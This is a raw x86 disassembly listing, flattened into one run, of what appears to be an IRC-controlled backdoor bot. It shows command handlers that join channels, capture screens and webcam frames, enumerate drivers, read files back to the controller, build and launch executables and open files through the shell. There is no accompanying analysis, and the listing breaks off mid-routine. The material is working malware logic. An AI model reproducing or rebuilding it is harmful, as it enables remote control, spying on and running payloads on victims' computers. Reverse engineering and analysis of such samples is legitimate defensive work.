sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 2670C39h nop test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 26B0000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 26905D4h nop mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h call near ptr 2690579h nop jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 2690CE2h push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 2690579h loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h call near ptr 2690579h nop jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj nop call near ptr 2690CE2h push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2690579h jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 2690CE2h push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2690579h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h call near ptr 2690579h nop jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j call near ptr 2690CE2h nop push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx nop call near ptr 26905D4h mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 2690579h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] call near ptr 269074Ch nop test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 